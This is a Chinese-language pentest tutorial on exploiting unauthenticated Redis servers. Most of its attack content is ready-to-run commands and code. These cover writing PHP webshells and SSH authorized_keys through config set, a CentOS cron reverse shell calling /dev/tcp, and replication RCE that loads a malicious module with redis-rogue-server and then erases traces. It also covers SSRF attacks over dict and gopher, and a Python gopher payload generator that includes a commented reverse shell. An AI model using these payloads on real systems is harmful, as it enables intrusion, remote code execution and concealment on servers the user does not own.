Redis在内网渗透中常常扮演着重要的角色,其攻击方式非常多样化,在内网复杂的环境架构中容易出现各种问题,那么如何有效利用Redis的缺陷来达到我们的目的呢,这里笔者结合一些实操场景和大师傅们的文章做了一些分析和总结。
官方简介: Introduction to Redis
我的理解:
Redis是C语言开发一个开源(遵循BSD)协议高性能的(key-value)键值对的内存NoSQL数据库,可以用作数据库、缓存、信息中间件(性能非常优秀,支持持久化到硬盘且高可用),由于其自身特点,可以广泛应用在数据集群,分布式队列,信息中间件等网络架构中,在内网渗透的突破中,常常扮演getshell的角色,
我们可以去官网看看:
这里我们可以学习一下Redis的版本控制方式:
Redis uses a standard practice for its versioning: major.minor.patchlevel. An even minor marks a stable release, like 1.2, 2.0, 2.2, 2.4, 2.6, 2.8. Odd minors are used for unstable releases, for example 2.9.x releases are the unstable versions of what will be Redis 3.0 once stable.
可以看到1.2.3,这样的格式,其中1是大版本,2是小改动,3是bug修复,其中 2中的数字,Odd(奇数)代表的是不稳定的发行版,而Even(偶数)代表是稳定的发行版。
目前Redis 稳定版已经更新redis6.0,在实际的实战中,一般不会那么高,包括我自己用的,普遍都是4.x-5.x,有的甚至更低。
在官网中提供了多种安装方式,有手工编译的,也有docker的, 笔者由于是重度docker玩家,所以主选docker这种方式,其实原因主要还是卸载方便和基于Ubuntu环境比较贴近实战环境(笔者是MacOS环境)。
但是为了方便分析版本差异,也通过编译源码的方式来运行一些版本。
这里为了研究差异,笔者分别安装了3个版本的环境用来测试:
4.x版本的环境: vulhub 4.0.14
1.git clone https://github.com/vulhub/vulhub.git 2. cd ./vulhub/redis/4-unacc 3.docker-compose up -d
5.x版本的环境:
这里选取redis官方的镜像版本
docker pull redis:5.0.9
通过观察官方镜像的dockerfile文件
RUN groupadd -r -g 999 redis && useradd -r -g redis -u 999 redis
RUN mkdir /data && chown redis:redis /data
可以看到创建了一个专门用于程序运行的系统账号。
运行:
docker run --name redis5 -p6379:6379 -d redis:5.0.9
远程ubunut环境安装管理包的redis4.0.9(用来模拟常见的情况,一般linux及其都是以root权限运行很多程序的)
apt-get install redis-server
然后以root用户启动的,只能用bind的ip,external ip是会被拒绝的。
redis 安全问题可以参考:
1.A few things about Redis security
这里我简单说一下Redis容易遭受的攻击点,而这些点本身就是软件设计便捷理念。
redis为了系统的移植方便,多集群的快速部署,在3.2.0之前默认都是无密码,对外暴露6379的
1.docker run --name redis -p6379:6379 -d redis:3.0 2.redis-cli x.x.x.123 3.config get requirepass # docker部署默认都是以redis权限执行的。
可以看到默认对外开放且无密码的。
但是在3.2.0之后增加了一个保护模式,默认还是无密码,但是限制了只有本地(回环接口)才能访问。
总的来说,问题还是出在了无密码校验经常被钻空子,比如ssrf,用来权限提升等等,下面会说到。
然后Redis自身提供了一个config的命令,用来实现备份功能,然后备份的文件名和备份的路径都可以通过
config set dbfilename
config set dir
来控制,从而可以实现任意文件写功能。
这个比较鸡肋,简单提提
redis 有个info的命令,返回关于 Redis 服务器的各种信息和统计数值。
config get *
也会泄露一些信息
这种情况一般大都是出在了root权限执行的redis中,或者是以某个web服务来启动的redis,从而对web目录具有了可写的权限。
这个操作网上的payload其实很多都有风险性,一些不懂redis的小白就很容易误操作。
flushall set 1 '<?php eval($_GET["cmd"]);?>' config set dir /var/www/html config set dbfilename shell.php save
最终生成一个redis数据库快照,里面包含了数据内容写到dbfilename设置的路径中。
里面有个flushall
命令会清空所有缓存数据,这个在一定程度不会造成巨大的损失,但是会给业务体验带来影响。
redis 默认数据库有16个:
config get databases
127.0.0.1:6380[2]> config get databases
1) "databases"
2) "16"
127.0.0.1:6380[2]>
默认保存的是当前数据库下内容,所以我们完全不用flushall
来清空默认0号的数据库内容
我们只需这样子select 去切换其他的空数据库,然后就可以了。
select 5
set 1 '<?php eval($_POST["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
比如:
keys *
(这个最好别用,输出量很容易把环境崩掉)
可以考虑用dbsize
我们就可以选择第5号数据库来执行操作,根本不需要进行fluashall
的高危操作。
这里可以看到save命令保存下来的文件,其实因为是数据库备份为快照文件所以存在一定格式(脏数据),但是由于PHP解析的松散性,这些都不影响php的执行。
这个场景主要应用在没有web应用的服务器,redis一般都是与web分离的,故这种方式我个人觉得还是很棒的,在linux系统都存在/root目录也不会被改动,笔者觉得这种方式还是可以接受的。
如centos:(这个没有登录过root,没有没有.ssh文件夹,问题不大)
如ubuntu:
可以看到可行性还是可圈可点的。
写入过程:
ssh-keygen -t rsa
# 然后指定目录生成2个文件 私钥:id_rsa 公钥:id_rsa.pub
这里要注意下数据库内容的决定是否要使用flushall
这里为了保证写入的authorized_key能被解析,必须引入换行符(ubuntu亲测,要不然是不会成功)
1.(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
2.cat temp.txt | redis-cli -p 6380 -x set 1
然后按正常操作即可
1. config set dir /root/.ssh/
2. config set dbfilename authorized_keys
3.save
尝试连接下:
ssh [email protected] -i id_rsa
PS (一些疑惑):
网上搜了一些文章说,因为默认的话是不允许开启通过开启密钥来登录。
默认在/etc/ssh/sshd_config
中不开启
#AuthorizedKeysFile .ssh/authorized_keys
所以会导致没办法登录,但是我在测试的过程中发现,默认直接写入也可以直接登录。
测试过几台机器都是生产环境上的云机器,都是这样直接写入就可以登录。
这个点其实蛮鸡肋,因为在debian、ubuntu等环境中由于这些环境对计划任务的格式解析非常严格是没办法执行成功,但是这个比前面那个比较好,主要是在centos环境的环境下默认root是可以通过这个方法拿到反弹shell的,所以还是指的说说的。
1.ubuntu无法利用的原因
/etc/crontab
,脏数据解析失败/var/spool/cron/crontabs/root
,redis默认写入644非600,提示失败
Centos下的利用
实现命令:
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/X.X.X.X/7789 0>&1\n\n' config set dir /var/spool/cron/ config set dbfilename root save
查看定时任务执行状态:
tail -f vim /var/log/cron
这个我建议在尝试尝试完ssh之后,如果失败了,再结合判断是不是centos机器(实际概率比较大)
再尝试这个。
当我们写入的内容是属于高冗余的数据时,redis默认会采用LZF压缩的方式来写入数据。
压缩:Redis默认采用LZF算法对生成的RDB文件做压缩处理,压缩后的文件远远小于内存大小,默认开启,可以通过参数config setrdbcompression{yes|no}动态修改。
这个时候我们就会出现一些奇怪的错误,
debug起来相当麻烦
解决思路:关闭压缩功能。
config set rdbcompression no
然后再保存即可。
这个能实现无损写文件,如果权限够高,也可以尝试下,因为无损写文件原理主从同步,从redis2.8开始,module模块加载是从redis4.0开始的,所以在低版本的redis,或许会有一些作用,但是我遇到的环境比较少,感觉linux下作用真的不大,简单提提。
(1)简单说明
这个攻击方式是LC/BC的成员Pavel Toporkov在2019年7月7日结束的WCTF2019 Final分享出来的,可以说这个技术,为redis的攻击撕开了一个全新的口子,打就是rce获取的就是redis运行的权限,比之前那些需要高权限的方法来的更加普遍和使用。
(2)通俗原理
两个点:
(1) 支持传输备份文件
(2)支持加载so链接库,拓展命令
- 第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
- 第二步,我们设置备份文件名为so文件
- 第三步,设置传输方式为全量传输
- 第四步加载恶意so文件,实现任意命令执行
这里重点是实现全量传输:
全量传输是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。
具体的实现步骤:
那么怎么控制实现这些操作呢,其实很简单,我们可以监控一下正常流程,截取出相应的命令再进行构造好了,这些操作其实还是蛮复杂的,要不然也不要等Pavel Toporkov来公布了吧。
不过这个调试协议虽然繁琐但是还是可以做出来的。
跟一下wireshark走一遍流程就好了,站在巨人的肩膀也行。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
这里我比较推荐个比较好用的工具:
Dliv3师傅的比较适合实战: https://github.com/Dliv3/redis-rogue-server
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6380 --lhost docker.for.mac.host.internal --lport 8088
可以看到效果还是有的。
这个工具还有个用法是,是服务器模式,接收目标redis的链接。
(这种场景可以使用在,服务器通外网,但是外网不能访问服务器时候,但是我们可以通过ssrf或者vpn之后链接redis来执行命令)
服务器端执行:
python3 redis-rogue-server.py --server-only
本地手工执行命令设置备份:
1.config set dir ./
2.config set dbfilename exp.so
3.slaveof X.X.X.195
4.slaveof X.X.X.195 21000 #上面看绑定的服务段端口是21000
5. module load ./exp.so
6.slaveof no one
7.system.exec 'whoami'
清理痕迹
8.config set dbfilename dump.rdb
9.system.exec 'rm ./exp.so'
10.module unload system
PS:(一些渗透需要注意的点)
经过测试,这个payload打的时候会重置所有数据库内容,所以慎用,在测试过程中,倒是没有遇到redis会崩溃的问题,可能是数据量比较少?
经过测试主从复制的可利用版本是4.x-5.x
但是从6.0开始,就开始利用失败了。
但是还是可以通过config命令来进行写文件的
也能通过主从复制来无损加载文件
但是在module的时候加载却失败了。(猜测可能是exp.so的不被兼容,)
如果在redis.conf 配置了禁用config命令的时候。
rename-command CONFIG ""
比如这个config命令就不可用了,可以采取这种方式绕过。
这个时候我们就没办法自定义文件后缀了,但是我们还是可以利用主从复制的
可以看到同步之后exp.so的内容被保存为了dump.rdb
后面把dump.rdb当做exp.so去正常加载即可。
SSRF为Redis的供给面打开了一个口子,但是由于dict和gopher协议的有一些坑点,有时候利用起来会出现一些下面的问题。
简单探测redis服务:
1.curl "dict://127.0.0.1:6381"
2.回显
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
(1)dict协议
dict协议,字典服务器协议, A Dictionary Server Protocol 。
dict是基于查询响应的TCP协议。
使用格式:
dict://serverip:port/命令:参数
这里dict有个比较好的特点就是会再末尾补上\r\n
不好的是,命令多条的话,需要一条条地去执行,因为不支持传入换行,也不会对%0d%0解码。
(2)gopher协议
互联网上使用的分布型的文件搜集获取网络协议。
支持多行输入。
使用格式:
gopher://serverip:port/_data
特点:
可以看到gopher的第一个字符被吞掉了,还有没有发送quit
所以我们需要手动加一个字符如_
影响范围:
dict协议的攻击:
1.连接远程主服务器
curl dict://127.0.0.1:6381/slaveof:101.200.157.195:21000
2.设置保存文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so
3.载入 exp.so
curl dict://127.0.0.1:6381/module:load:./exp.so
4.断开主从
curl dict://127.0.0.1:6381/slaveof:no:one
5.恢复原始文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:dump.rdb
6.执行命令
curl dict://127.0.0.1:6381/system.exec:'whomai'
7.删除痕迹
curl dict://127.0.0.1:6381/system.exec:rm './exp.so
...'
成功执行命令。
要是写shell的话参照上面那样做即可。
gopher协议的攻击:
这里采取goherus.py,来实现快速利用吧。
1.git clone https://github.com/tarunkant/Gopherus.git
2.gopherus --exploit redis
Gopherus没有集成怎么主从复制的利用。简单分析下他的原理
可以看到这个伪造的是resp协议来交互(这个不打算展开,后面源码分析利用的时候会说明的)
其实这里我们也可以将gopher伪造成dict的协议(直接采用简单协议格式)来一段一段地请求。
gopher://127.0.0.1:6379/_auth%20123123%0d%0aconfig%20set%20dir%20/tmp/%0d%0aquit
只要在最后加上个quit即可,这样子的好处是,有缓冲时间,一段段发送可以让备份文件完整传输到从机上的时间。
有认证的话,其实问题也不大。
auth 123123
docker里面用tcpdump监听协议包
tcpdump -i eth0 port 6379 -w redisPort.pcap
然后导出到本机用wireshark分析
docker cp cbdaed8:/redisPort.pcap ./redisPort.pcap
直接follow tcp stream
可以看到这个验证过程其实也是可以伪造的。
提取这段出来然后url编码就行了
import urllib.parse
str_ = "2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 36 0d 0a 31 32 33 31 32 33 0d 0a"
str__ = str_.split(' ')
okStr = ""
for i in str__:
okStr += "%" +i
print(okStr)
然后测试下:
curl "gopher://127.0.0.1:6383/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%36%0d%0a%31%32%33%31%32%33%%0d%0a"
+OK
Redis支持管道流水线,所以可以一次性拼接命令发送,不需要回复请求。
所以我们只需要在开头拼接下这段验证就行了。
这里我自己改了个比较简单的python3的payload生成脚本。
#!/usr/bin/python3 # -*-coding:utf-8-*- # author:xq17 import urllib.parse def tranToResp(x): xSplit = x.split(" ") cmd="" cmd+="*"+str(len(xSplit)) for i in xSplit: i = i.replace("${IFS}"," ") cmd+="\r\n"+"$"+str(len(i))+"\r\n"+ i cmd+="\r\n" return cmd def GeneratePayload(ip, port): cmd=[ "config set dir ./", "config set dbfilename exp.so", "slaveof {i} {p}".format(i=ip, p=port), "module load exp.so", "system.exec ls", "system.exec rm${IFS}exp.so", "quit", ] # "system.exec bash${IFS}-i${IFS}>&${IFS}/dev/tcp/192.168.8.103/4607${IFS}0>&1", payload = "" for p in cmd: payload += urllib.parse.quote(tranToResp(p)) return payload def main(): # target ip = "127.0.0.1" port = "6383" # server load exp.so serverIp = "101.x.x.x" serverPort = "21000" authPass = "123123" payload = GeneratePayload(serverIp, serverPort) exitPayload = (urllib.parse.quote(tranToResp("slaveof no one") + tranToResp("quit") )) if authPass: print("author attack:") pd = "gopher://{host}:{port}/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24{l}%0d%0a{p}%0d%0a" pd = pd.format(host=ip, port=port, l=str(len(authPass)), p=authPass) print(pd + payload) print("clean footprint:") print(pd + exitPayload) else: print("no author attack:") pd = "gopher://{host}:{port}/_" print(pd.format(host=ip, port=port)+payload) print("clean footprint:") print(pd.format(host=ip, port=port) + exitPayload) if __name__ == '__main__': main()
如果有认证的话,添加到authPass
变量即可。
这种场景主要是redis里面存储的内容,最终会被程序反序列化,从而导致触发处反序列化漏洞。
我们平时做题目的时候一般序列化内容都被base64了,所以没遇到什么坑。但是如果是原生的序列化数据就会有协议无法传输特殊字符的坑。
不过gopher是无敌的,双重编码就行了。
案例来源: https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA
以后如果遇到有意思的题目,单独列出来这个方面研究吧,gopher协议足够秒杀了。
本文主要是归纳了一些tips偏应用方面,前前后后折腾了挺久的,感觉网上的知识点都比较零散,现在很多人都止步了对redis的漏洞挖掘,除非新爆出一些什么洞,否则,目前的文章体系还是能系统涵盖已知的主要攻击面。也欢迎各位师傅提出一些新的点,让我加强学习。后面将从redis的源码来分析一些现象的原因。
通过 SSRF 操作 Redis 主从复制写 Webshell